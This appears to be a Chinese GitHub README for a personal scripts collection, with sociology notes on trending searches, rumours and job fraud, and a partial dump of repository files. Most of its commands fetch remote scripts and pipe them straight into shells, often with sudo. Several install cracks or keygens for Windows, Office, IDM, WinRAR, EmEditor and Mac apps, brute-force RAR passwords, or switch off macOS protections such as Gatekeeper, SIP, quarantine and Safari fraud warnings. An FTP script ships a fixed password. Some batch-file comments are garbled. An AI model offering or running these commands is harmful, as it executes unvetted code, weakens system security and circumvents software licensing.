curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/fxxk_chxxa.bat&&call fxxk_chxxa.bat

一键安装禁止Chrome浏览器更新

curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/deny_chrome_update.bat&&call deny_chrome_update.bat

一键PDFtoPNG

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/PDFtoPNG.py)"

一键修复共享打印机0x11b问题

curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/fix_0x11b_share_print.bat&&call fix_0x11b_share_print.bat

一键获取招聘职位信息以及辅助资料参考网站

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/zhipin_demo.py)"

安装指定chrome,并禁用升级: only_install_chrome65.bat ;钉钉静默安装源码: fuck_dingding.bat;打印机安装详情见:打印机自动化安装研究.ipynb

## Linux云主机毛坯房安全改造 购买云服务商提供的云主机,系统基本没有任何的安全软件保护。每天都有各地不法分子扫描公网,并不断远程暴破、入侵主机。所以需要采取防治措施。
点击详情

一键搞定SSH登录、用户密码策略配置、Ban IP配置 图文版

  • SSH登录: 免密的密钥模式、心跳长时间连接,客户端不掉线
  • 密码策略: 不限特殊字符、大小写,并支持4~5位长度下限
  • Ban IP: 除自己IP外,30秒内短时间三次输错密码,永久封禁IP。

sudo bash -c  "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/lite_ssh_n_ban.sh)"

SSH单项配置:一键调用SSH快速配置 SSH密钥登录策略、用户简单密码配置规则。(单项部分是开启限定自己IP访问的,即 AllowUsers)


sudo bash -c  "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/simple_ssh.sh)"

fail2ban单项配置:一键fail2ban从下载到安装及生成配置与启动服务。(再次允许单项部分可以刷新自己公网IP配置)


sudo bash -c  "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/simple_ban.sh)"

一键搞定Linux自定义创建具有管理员权限的用户 图文版

  • 自定义用户名
  • su、sudo及wheel组成员免密
  • sshd_config锁root远程登录,提高安全性

sudo bash -c  "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/diy_add_wheel.sh)"

一键搞定FTP 图文版

  • 共享目录: /var/ftp/share
  • 限制越权出逃共享访问,可读写。
  • 安全,私有化,限定自己的公网IP访问。

不输密码版,用户名:ftpuser 密码:P@ssw0rd


sudo bash -c  "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/simple_vsftpd.sh)"

自定义用户版


sudo bash -c  "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/lite_vsftpd.sh)"
## Mac基础终端操控知会 想要自由使用Mac步骤: 1. **允许所有来源: `sudo spctl --master-disable`** 2. **恢复模式下,关闭SIP:`csrutil disable`** 3. **解除苹果签名验证系统的校验隔离:`sudo xattr -d com.apple.quarantine`** 4. **运行终端工具包前提 —— homebrew,复制如下指令安装** ``` /bin/bash -c "$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)" ```
点击详情 关闭Safari浏览器的腾讯安全浏览

defaults write com.apple.Safari WarnAboutFraudulentWebsites -bool false
重置macOS ~/.zshrc (仅环境变量配置失误,造成不可逆后果使用)

export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin; sudo rm -rf ~/.zshrc
Mac查看当前Wi-Fi密码 图文版

sudo bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/mac_show_wifi.sh)"
Mac查看常用系统信息

sudo bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/mac_systeminfo.sh)"
GitHub的ipynb文件地址 转换 在线ipynb查看链接粘贴。(Ruby)

ruby -e "$(wget -qO- https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-ruby/nbview.rb)"
Mac 一键支持NTFS(macOS 14及以下) 点击更新后的项目地址

sudo -u $USER  python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/ntfs_ninja.sh)"
Mac 激活各类相关软件 图文版(DMCA 已关闭)

sudo bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/QiuChenly/MyMacsAppCrack/main/Shells/simple_crack.sh)"
macOS MS-AutoUpdate 一键带走

sudo /usr/bin/osascript -e "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-apple/no_ms_autoupdate.scpt)"
一键RAR密码爆破 图文版

bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/7z_rar_sensei.sh)"
自动化下载 Office Mac2021 激活工具

sudo /usr/bin/osascript -e "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-apple/office2021.scpt)"
最后,转朋友的:自在拉基 - Mac打印机一键安装。(没需求,所以没写;原理都差不多,确实挺厉害的。)
## 常见平台热搜与辟谣信息分析 对人文社科期刊、论文研究对象进行跨学科、基础调研(不限于同事访谈、网络论坛问卷调查)等综合性分析。 * html网页解析、webui自动化 * 数据收集、过滤、分类归档 * "平均/极值"基础数学统计、分词、文本情绪值计算汇总(自然语言处理)
初上手时的基础操作,简单收集信息测试。

一键获取中国新闻网资讯 图文版

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/get_chinanews.py)"

一键获取中国新闻网资讯 Ruby版

ruby -e "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-ruby/get_chinanews.rb)"

一键生成全球信息报表 图文版

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/get_worldometers.py)"

一键收集知乎前五条精选回答摘要

python3 -c "$(curl -fsSL https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/zhihu_answers_demo.py)"

收集boss直聘90条招聘相关招聘岗位的薪资待遇、公司规模等 图文版

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/zhipin_demo.py)"
平台热搜与辟谣信息汇总分析 前提:开始前,先复制如下指令安装 pip 工具包。涉及到斯坦福大学语言模型 [stanza](https://stanfordnlp.github.io/stanza) 处理的数据需要外网连接。
pip3 install --no-cache-dir -r https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/requirements.txt

头条、抖音、微博热搜采集分析

一键获取今日头条、抖音、微博热搜。图文版 (NLP:Stanza)

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/get_resou_today_s.py)"
  • 自动化分类;整体匹配率:84%~96% 区间左右。
  • 词频统计;三者共存的热搜,说明为持久公共热度,信息密度较高。
  • 文本情感平均值、每条标题的情感数值;主:人为置顶热搜的文本情绪强烈程度。
  • 词性分析;标记可能存有引导与被植入意识成分用词,只要定语、状语叠得多,总能是宣传正态形势。

微博在自动化分类中,噪音三者最大,信息价值低,话题含水量大,失真度偏高;各家平台的热搜标题也存有未标识谣言成分,最好用国家辟谣平台查询鉴别其真伪;虽然娱乐属性极重,但微博其本身具有一对多公共属性的社交模式,当某个社会事件被挂上热搜,它可在短时间内迅速传播信息,引发公众的关注和讨论。

推荐论文:

  • 毛贺祺《大数据背景下微博热搜的新闻阅读服务功能》吉林大学新闻学专业硕士学位论文,2017.3
  • 喻国明《大数据分析下的中国社会舆情 总体态势与结构性特征》中国人民大学学报,2013年第5期
  • 王小新《当前我国受众网络新闻的阅读倾向——以百度热搜词为例》《今传媒》,2013年第9期
  • 许诺《基于百度热搜新闻词的社会风险事件5W提取研究》《系统工程理论与实践》,2022年第40卷第2期

自动化收集辟谣条目及语言分析

功能大体与上例相当,对词频的较高词语进行语法分析。(NLP:ThuLAC)

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/get_rumor_analysis.py)"

urllib3:https://github.com/urllib3/urllib3/issues/3020#issuecomment-1557412175

对谣言的定义:阿尔波特(Gordom W.Allport)和波兹曼(Leo Postman)最早为谣言下了定义,即谣言是一个与当时事件相关联的命题,是为了使人相信,一般以口传媒介的方式在人们之间流传,但是却缺乏具体的资料以证实其确切性。1

谣言概念界定:究其本质而言,谣言普遍具有的属性,一是广泛传播,二是不确定性,基于此,本文将谣言界定为被广泛传播的、含有极大的不确定性的信息。“不确定性”主要是指对信息真实与否的不确定性。2

目前,在突发事件中的各类谣言中,有明确目标性和破坏性的攻击型谣言和以实现政治、经济等利益为目标的宣传型或牟利型谣言出现的频率较低。多数谣言是出于恐惧心理和基于错误的认识判断而形成的。(胡琦,2022) 从这次的谣言收集分析已证明,最大的两个类别是,社会话题与健康饮食,两者分别占比48%、43%。

但“后真相”时代多元文化的糅合共存和碎片化的解读方式加剧了民众的价值分歧,侵蚀了信任防线。一方面,复杂的利益诉求、多元的社会思潮与多样的传播方式交织叠加,催生出“后真相”时代多元的网络文化,加大了主流与非主流文化之间的碰撞和摩擦。虽然非主流文化是主流文化的有益补充,但诸如佛系文化、网红文化、躺平文化等难免有背离主流文化的消极因素,尤其是污丑文化、拜金文化等更是尽显畸形审美和金钱至上的错误思想,若不加警惕和批判,极易误导一些认知不足、阅历不够的受众,诱发政治偏见,不断冲击和侵蚀业已形成的政治信任。另一方面,“后真相”时代人们面对海量信息,惯以碎片化的方式拼凑事实、解读真相。一旦关涉社会分化、利益分配、政治腐败和政策失误等复杂的政治谣言鉴别,人们极易陷入碎片化信息的不断解读和重组,制造出多种“真相”,并借此持续发酵,非但无益于阻断网络政治谣言的传播,反而会频繁质疑已有政治共识,造成政治信任的流失,为谣言惑众创设了可能。3

就参考杨芸伊、赵惜群来说,个人生活无非涉及钱的吃穿住行,社会分化也是正常现象,“个人-集体”、“集体-个人”的差异、非一致性,这话更多“是以国家建设为中心”为首纲。下面这两条信息很值得参考研究:

参考文献

[1] 胡琦, 全媒体时代网络谣言产生的心理机制与治理路径,P135,137, [J]社会科学家, 2022(11)
[2] 雷霞, 老年群体的谣言认知不协调及其纠偏机制, [J]现代传播, 2023(3)
[3] 杨芸伊, 赵惜群, “后真相”时代网络政治谣言的表征、归因及治理,P155, [J]湖南科技大学学报(社会科学版),2022(11)
## B站用户评论、弹幕调研 脚本功能如下: 1. 视频标题、作者、发布时间、播放量、收藏量、分享量、累计弹幕、评论数、视频简介、视频类别、视频链接、封面链接。 1. 100条弹幕、情绪值、词性分析、发表时间、用户ID 1. 20篇热门评论、点赞数、情绪值、话题回复条目、会员ID、会员名、评论时间。 1. 威力增强:弹幕:用户名、生日、注册时间、粉丝数、关注数(cookie);评论:显示评论用户的IP归属地(webbui)。 1. 最后生成xlsx,文本情绪值中位数、词频统计、词云、柱形统计图。
点击详情 前提:先确保你的基础库组件完善
pip3 install --no-cache-dir -r https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/requirements.txt
然后运行该脚本 图文版
python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/get_bv_baseinfo.py)"

文本基础分析

停用词文本聚类综合统计分析,见下图1

实际上,不同的停用词表都有其的适用范围。教育机构语料库大多由文献期刊构成,因此复旦、川大等教育科研机构的停用词表,更适合文献与邮件文本。而门户网站的语料库更适合新闻报道,各有其特点。

文本发掘及分词统计涉及到的停用词问题,借助 [goto456/stopwords](https://github.com/goto456/stopwords) 提供的哈工大、川大、百度的停用词语料库,以及从CSDN收集到复旦停用词本进行整合,强化文本对“经济”、“社会”、“文艺”聚类效果,从而达到更精准命中关键词的目的。

文本分析工作内容,如下引用图2。目的性都差不多,只不过方式略有不同而已,殊途同归了,算是。 参考文献

[1] 黄俊, 职场辱虐的情绪影响和行为反应研究、B站等社交媒体的传播研究,P149,[J]传播创新研究, 2021(12)
[2] 官琴, 邓三鸿, 王昊, 中文文本聚类常用停用词表对比研究,P76,[J]数据分析与知识发现,2017(3)
## 社会学选题对象基础研究 该部分集中于互联网新闻传媒与网络社群组织动员分析。
点击详情

亚文化视域评论及弹幕调研总结

整体来说,后情感时代,让我发现人的情感体验是多元的。单从就“嗑CP”、“萌宠”话题的被采访人语录来看,就得出部分被采访人思维单一、理想化。这是不可靠的,不能一概而论。比较切实的观点应该是,部分被采访人对此类信息可能并不在意,或对这方面未有较深入的认知与关注。并且,该项数据并不能对采访人的情绪、思维、行为逻辑做定论,只是某些事物的关联,需要去理清事情的真相与内在逻辑,这些都要花时间下功夫研究的。

民生及时评类新闻媒体与受众行为浅析

民生时评媒体积极方面行为作用

在单向度的社会1中,不同地域的人往往面临着相似的生活困境与社会纠纷,经由媒体选择典型民生个例加以报道,很容易使民众获得切身体会,产生跨地域的情感共鸣。而在此基础上的时评,遵守实事求是的原则,通过解释报道框架2,对各类舆论热点事件进行科学理性的分析,同时提出面向未来的可行性建设性方案。从一定程度上缓释社会矛盾,疏导大众情绪,有促进开启民智的作用。不过,额外强调一点:开启民智目是民众具备批判性思维,自主思考和客观分析问题;它强调的是社会共同进步的需要,而不是贬低民众的智识水平及行为能力。

民生时评类新闻受众失焦现象归因

一方面受众因切身体会共鸣感、猎奇感等作用下接收民生、时评信息,而另一方面身处风险社会3中、受众对严肃内容产生了排斥心理,需要一个可供闲谈与娱乐的话题排解忧虑,获得快感、同时也在探求相同爱好的趣缘群体。由此,这也可以解释我之前的疑问 “为什么我看同事日常精干处理工作事务,但涉及到电视剧、新闻报道却是人云亦云没多少见解,像个白痴一样?” 总的说来,舆论失焦现象也是必然且常态的现象。用户对新闻标题的猎奇点击,对事件的耐心等待与深入思考已不符合这方面一部分受众用户的期望了。在注意力、精力有限的情况下,这部分受众用户从而转向其他具有话题性、娱乐性的闲谈讨论,爆米花式的休闲娱乐(吃瓜)以此舒缓压力获得快感。

“小粉红”群体分析

“小粉红”一词来自于民间对网络爱国青年群体的称呼,“小”指的是年龄小,虽然很稚嫩,但是精力充沛、一腔热血;“粉”指的是网络上流行的特有的表达方式,比如语言卖萌,又经常使用各种萌系表情,另外由于小,单纯的生活阅历使得“小粉红”的心智还没有定型;“红”指的是苗正根红,红色在中国的语境下通常代表了中国共产党,这里的“红”表达了“小粉红”强烈的爱党爱国爱领袖情怀。4

刘芳对小粉红群体的定义是准确的。她进一步将该群体细分为不同的年龄段、社会阶层以及职业背景。在18至24岁的范围内,学生群体在小粉红中占据了很大比例,其中多数来自无产阶级家庭。然而,在旧牛帆模型流行之前的分类中,也有相当数量的小粉红来自城市中产阶级家庭,这一点也需要我们注意。无论如何,这两个群体都有一个共同点,即小粉红拥有较强的社会消费能力和购买力,并且相对承受较少的社会压力,同时也是中国改革开放国力日益强盛的受益者与见证者。

读《“帝吧出征”事件中话语表达与社群动员研究》

帝吧出征:群体动员与舆论引导

当群体的文化与他们倡导的价值目标重合时,形成了一种动力机制,促使群体成员对帝吧社群的多角度文化认同和集体互动。帝吧通过整齐划一的动员基础,深刻影响了其群体成员的价值观念和思维方式,从而调动了粉丝的积极性和团结性来支持社群的集体活动。

在网络平台上,民族主义情感的表达成为一种常见现象。通过共享符号、行为和与同样认同的人建立联系,人们表达对国家和民族的认同和情感。这种身份政治的表演受到个体和外部环境的相互作用和影响。在"周子瑜事件"中,帝吧充分利用网络的连通性,在各平台上刷榜和引流,通过构建共同的"爱国主义"和"民族主义"话语,动员和征集参与者。虽然"帝吧出征"看起来组织有序,参与者需服从指挥,有明确的出征时间、纪律和攻击目标,还要求使用固定的集体模板等规则。然而,实际上年轻人受到帝吧新式话语的影响和动员,不一定需要深入思考逻辑或进行论证,将出征变成了一场狂欢喧闹的游戏,追求集体热情高涨的情境。在这个动员过程中,明星相关的表情包渲染气氛,通过将明星与民族主义情感相结合,进一步加强集体认同和动员效果,激发粉丝的情感共鸣,并增强他们对集体行动的支持和参与意愿。

因此,“帝吧出征”可以被看作是一种集体动员和舆论引导的活动,通过符号、话语和情感的共同作用,调动粉丝的参与和支持,从而形成一种极化的群体行动力量。这种行动将网络暴力赋予了“民族主义”和“爱国主义”的正义化形象,使其在群体中得到广泛的接受和支持。

读《数字原住民网络潜水动因实证研究》

研究目的及意义

研究目的(微观):

  1. 界定潜水者和数字原住民型潜水者消除对于潜水的模糊定义。
  2. 构建潜水动因模型提出各项解释数字原住民潜水行为的动因假设。
  3. 明确主要影响因素以及因素之间的相互影响关系。
  4. 为网络运营商和社区管理者提供更有效的建议。

研究意义(宏观):

一、理论意义:梳理社会学、经济学和心理学三大学科中用于潜水研究的相关理论并搭建了潜水研究的理论框架为后续研究者的相关研究提供了理论支撑。 二、实际意义:对于数字原住民潜水行为研究的实际意义主要体现在经济效益、网络可持续发展以及群体智慧三方面。

基于“计划行为论”、“社会文化资本论”、“社会认同论”三者,并结合统计学知识的问卷设计方案

问卷设计样例效果图5

  • 信度分析:主要是考察各潜变量的Cronbach'sa值是否超过0.7的临界值。
  • 效度分析,主要基于因子分析来检验。也就是通过对样本数据进行KMO系数分析。Kaiser给出了常用的kmo度量标准: 0.9以上表示非常适合;0.8表示适合;0.7表示一般;0.6表示不太适合;0.5以下表示极不适合。
  • 因子相关性分析:Bartlett球形检验则用于检验观测变量之间是否存在相关性,这是进行因子分析的一个前提条件。它基于一个假设,即观测变量之间不存在任何相关性。如果在Bartlett球形检验中得出的显著性水平较低(通常设置为0.05),则可以拒绝该假设,表明观测变量之间存在相关性,因此适合进行因子分析。
  • 偏向程度分析:Likert量表的评分范围为5或7个等级,但也可以是其他数字。选择适当的评分范围要考虑到被调查者容易理解和回答的程度。较少的等级可能更容易导致患者在选择中立选项时受到限制,而较多的等级可能增加了患者选择的复杂性。
解疑探索分析: 1. How many government officials read Marx and how many believe in Marx? 2. 对就业进行个人与企业,以及相关欺诈案例进行全面分析
点击详情

读《论马克思主义威望下降的原因》

马克思主义威望下降的原因:

消极因素:1. 苏联式社会主义制度失败的打击;2. 部分共产党官员和马克思主义理论家的言行相悖严重损害了马克思主义的声誉;3. 不少人对于马克思主义不大懂、不会用,不能解决实际问题;4. 一些人对马克思学说的否定也起了一定作用。

积极因素:1. 从横向上看,改革开放开阔了我们的思想理论视野,使马克思主义的相对地位下降;2. 从纵向上看,我们创造出中国特色社会主义理论等新的理论,也使马克思主义的相对重要性减弱;3. 人们现在愈来愈能够对马克思学说采取科学分析的态度,亦使马克思主义的威望从顶峰回落。

就业形势分析及预防欺诈对策

欺诈者的动机内核

我们的视野里已经有太多的宏大叙事与情绪感慨,欠缺的反而是“事实本身” 。现如今较起之前好了不少,当时信息传播渠道有限,仅限于搜索引擎、门户网站,如今信息。人人自媒体,民意重视程度相对比过去要高了。但伴随而来的又一个问题就是审核控评,结合我国当今体制及制度而言,整体不容乐观。总体而言,我们的认知是建立在他们代价付出与信息披露。

从刘莫鲜(2012)6所述的各类手法的诈骗流程图分析,来对双方目的进行总结:欺诈者的目的存在一个或多个,拿到货币、人身控制、获得劳动力;而求职者目的相对单一,付出劳动力,拿到货币。值得注意的是,欺诈者、求职者都是为了拿到对方的货币,由此便产生了不完全信息的零和博弈。 由于欺诈者的目的及偏好多样化,可选择的策略空间广,选择取向也相对较多,因此欺诈者会穷尽所有可能,并且不择手段地来实现自身利益最大化。因此,欺诈者的核心策略是在特定的环境和场景下,在求职者付出劳动之前或之后,以获取劳动者的货币为目标。

欺诈者对求职者的信念构建及欺诈实施

对于欺诈者来说,能不能骗到求职者是一个概率性问题。求职者来自各个不同的生活环境,其行为选择对于欺诈者来说是不能预测的。不过,这里必须要明确一个关键点:既然骗子能够骗得到人,那么被骗到的人是那些相信他不是骗子的人。换句话说,欺诈者之所以能骗到求职者,关键是因为建立起了求职者的信任。虽然我们每个人的行为选择不可预测,但骗子能够利用各种手段来营造特定的稀缺情景,以建立对求职者的信任。借着这种信任,他们可以进行有限条件的选择,从而实现对求职者意图行为的控制。

具体来说,欺诈者常常利用社会心理学来布设博弈困境以及相应的剧本演出,以便操控求职者的思维和情绪。他们通常宣称有限的职位名额、紧迫的截止日期、特殊服务后门或其他形式的稀缺性,以激发求职者的竞争心理和渴望,促使求职者尽快做出决策。通过在这种紧张的情景中建立信任,此时欺诈者为了进一步验证求职者的“诚意”及“合作性”,这时欺诈者会要求求职者提供个人信息,支付一定费用或执行某些任务。这些要求看似合理,但实际上是为了获取求职者的敏感信息或从其身上获取经济利益。

参考文献

[1] 范晓丽, 李超, “单向度的人”及其对当代中国的启示,[M]人民论坛网, 2014(7)
[2] 李煜申, 邢天意, 新闻网站报道的媒介框架差异分析 ——基于人民网等四家新闻网站的“8.3鲁甸地震事故”再现对比研究, [M]人民网研究院,2015(03)
[3] 张文霞, 赵延东, 风险社会:概念的提出及研究进展, [M]知网协办, 2011(1)
[4] 刘芳,“小粉红”社会责任承担的现实考量与提升路径研究,P9-13, [M]湖南大学硕士学位论文,2019
[5] 刘江,数字原住民网络潜水动因实证研究,P69, [M]南京大学硕士学位论文,2013
[6] 刘莫鲜,在虚假招聘的背后——对大学生求职受騙现象的质性探究,P61-83, [M]南京大学博士学位论文,2012
## 壁纸、快捷网页设定 一面工作,一面生活,要我说放[屁](https://www.bilibili.com/video/BV1Y1WEetEKt)。
  1. ruby 必须在3.0以上版本
  2. ruby 在Windows平台融入性,一体化程度不如Linux/macOS。
  3. 通过此次ruby抓图及文本处理,ruby支持的功能库远不如python,适用基础简单的爬虫操作。
  4. 基于国内网络环境考量,不做原生写入处理,改用aira2下载,以便监控进度。
点击详情

还原旧设定

还原旧Windows照片查看器


irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-pwsh/photoview.ps1|iex

还原旧右键菜单


curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/right-menu.bat

壁纸设定

一键爬取bing壁纸 图文版

python3 -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-python/get_bing_wallpapers.py)"

一键下载微软官方设计壁纸 ruby

ruby -e "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-ruby/get_msdesign_wallpapers.rb)"

一键定时切换壁纸(Mac 专用)

bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/mac_corn_diy_wallpaper.sh)"

快捷网页

Windows 打开网页工具

curl -OfsSL https://ghproxy.org/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/webtools.bat&&call webtools.bat

Mac 打开网页工具

bash -c "$(curl -fsSL https://ghproxy.org/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-shell/webtools.sh)"
## 移花接木 这部分都是自己发现好玩的,根据不少参考网上资料的文章、源码、神Key,结合自己的思考分析,而做的二创改写,并加工成调用指令。 * Windows/Office、winrar、emeditor、idm、XchangePDF * Wi-Fi、PE查看局域网IP、解析主机IP运营商及归属地查询 * 其他更多...
点击查看详情

CMD一键调用windows版本切换与Windows/Office激活 图文版

curl -O https://ghproxy.com/https://raw.githubusercontent.com/TerryHuangHD/Windows10-VersionSwitcher/master/Switch.bat&&TIMEOUT /T 1&&start Switch.bat&&powershell -command "irm https://massgrave.dev/get|iex"

CMD一键安装winrar注册激活

powershell -command Invoke-WebRequest -Uri "https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/winrar_down_reg.bat" -OutFile "C:/Users/${env:UserName}/Downloads/winrar_down_reg.bat"&&TIMEOUT /T 1&&start /b C:\Users%username%\Downloads\winrar_down_reg.bat

Powershell一键生成Emeditor序列号

irm https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-pwsh/emeditor_random_keygen.ps1|iex

Powershell一键IDM激活(自己写的方案已失效,国内版权原因不做更新

iwr -useb https://ghproxy.com/https://raw.githubusercontent.com/lstprjct/IDM-Activation-Script/main/IAS.ps1 | iex

Powershell从XchangePDF Editor下载安装到生成许可证

curl https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-pwsh/xchange_v8_active.ps1 -Outfile xchange_v8_active.ps1 | powershell -c xchange_v8_active.ps1

win7 打开图片报错“内存不足” 图文版

powershell -c "irm  https://ghproxy.com/https://github.com/hoochanlon/scripts/raw/main/d-bat/exifhelper.bat -Outfile exifhelper.bat" && exifhelper.bat
## 细枝末节 各种小整活,制造便利小工具。
点击查看详情

回归win10右键,或还原win11右键

curl -OfsSL https://ghproxy.org/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/right-menu.bat&&call right-menu.bat

解锁应用程序因占用导致无权限删除问题

curl -OfsSL https://ghproxy.org/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/unlockapp.bat&&call unlockapp.bat

去掉win10/win11热搜条目,需注销或重启。

  • admx.help 注册表参考手册registry-finder 注册表修改工具(点击「ダウンロード」,即下载)
  • reg add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\explorer" /v DisableSearchBoxSuggestions /t reg_dword /d 1 /f

    华硕点亮屏幕出现LOGO动画,其实是休眠;参考知乎回答: 知乎-qwe-天选4r9在插电和拔掉充电器的时候都会黑屏一下是正常的吗? 开启网卡电源管理选项,重启生效。(见:MiniTool- What Is Modern Standby? How to Disable It Windows 10/11?

    reg add HKLM\System\CurrentControlSet\Control\Power /v PlatformAoAcOverride /t REG_DWORD /d 0

    解决图标缓存、“任务栏不见了”等相关问题

    curl -OfsSL https://ghproxy.org/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/icon_bar_reset.bat&&call icon_bar_reset.bat
    

    解决应用启动项无效注册表相关问题

    curl -OfsSL https://ghproxy.org/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/clear_nullify_startup_reg.bat&&call clear_nullify_startup_reg.bat
    

    CMD获取本机公网详情

    powershell -c irm "https://freeipapi.com/api/json/$(irm http://api.ipify.org)"
    

    Shell获取本机公网详情(需安装 brew install jq

    curl -s https://freeipapi.com/api/json/$(curl -s https://api.ipify.org) | jq .
    

    一键安装打印机原理代码 图文版

    https://github.com/hoochanlon/scripts/blob/main/d-bat/install_public_network_hp_printer_driver.bat
    

    powershell active,以及微PE显示IP脚本

    explorer https://github.com/hoochanlon/scripts/blob/main/d-bat/weipe_showip.bat
    

    一键安装Java 图文版;更好的方式是通过 Scoop 管理包工具安装

    curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/install_jdk.bat&&call install_jdk.bat
    

    一键设置环境变量

    powershell -c irm "https://raw.githubusercontent.com/hoochanlon/scripts/main/d-pwsh/add_env_path.ps1"
    
    curl -OfsSL https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/add_env_path.bat
    

    win11一键显示当前WiFi与密码并生成二维码分享 图文版

    curl -O https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/show_wifi.bat&&call show_wifi.bat
    

    一键显示所有WiFi

    curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/oh_my_wifi.bat&&call oh_my_wifi.bat
    

    一键RAR密码爆破 图文版

    curl -Os https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/seven_z_sensei.bat&&call seven_z_sensei.bat
    

    一键图标缓存清理

    curl -OfsSL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-bat/clean_icon_cache.bat&&call clean_icon_cache.bat
    
    --- ***谢谢观赏,附 [Latex Demo](https://www.overleaf.com/read/khdnbtjxwkzx) 与 [LaTex简历模版](https://github.com/hoochanlon/resume),以飨同好。*** ================================================ FILE: d-apple/no_ms_autoupdate.scpt ================================================ do shell script "rm -rf '/Library/Application Support/Microsoft/MAU2.0/Microsoft AutoUpdate.app'" with administrator privileges ================================================ FILE: d-apple/office2021.scpt ================================================ tell application "Safari" open location "https://s.id/1d4gZ" activate end tell ================================================ FILE: d-bat/add_env_path.bat ================================================ @echo off REM ʾû· set /p newPath=Ҫӵ· REM ȡ· set "desktopPath=%userprofile%\Desktop" REM ݵǰû PATH ıļ powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'User')" > "%desktopPath%\user_path_backup.txt" REM ·ڵǰû PATH У· powershell -Command "$currentUserPath = [Environment]::GetEnvironmentVariable('PATH', 'User'); if ($currentUserPath -notlike '*%newPath%*') { $currentUserPath += ';%newPath%'; [Environment]::SetEnvironmentVariable('PATH', $currentUserPath, [System.EnvironmentVariableTarget]::User) }" REM ݼ PATH ıļ powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'Machine')" > "%desktopPath%\system_path_backup.txt" REM ·ڼ PATH У· powershell -Command "$systemPath = [Environment]::GetEnvironmentVariable('PATH', 'Machine'); if ($systemPath -notlike '*%newPath%*') { $systemPath += ';%newPath%'; [Environment]::SetEnvironmentVariable('PATH', $systemPath, [System.EnvironmentVariableTarget]::Machine) }" REM ʾ޸ echo ޸ echo û user_path_backup.txt ļ echo ϵͳ system_path_backup.txt ļ echo. REM ʾ޸ĺ PATH echo ޸ĺļ PATH powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'Machine')" echo. echo ޸ĺû PATH powershell -Command "[Environment]::GetEnvironmentVariable('PATH', 'User')" pause ================================================ FILE: d-bat/auto_request.bat ================================================ @REM 已知深信服web端上网登录 @REM curl -d 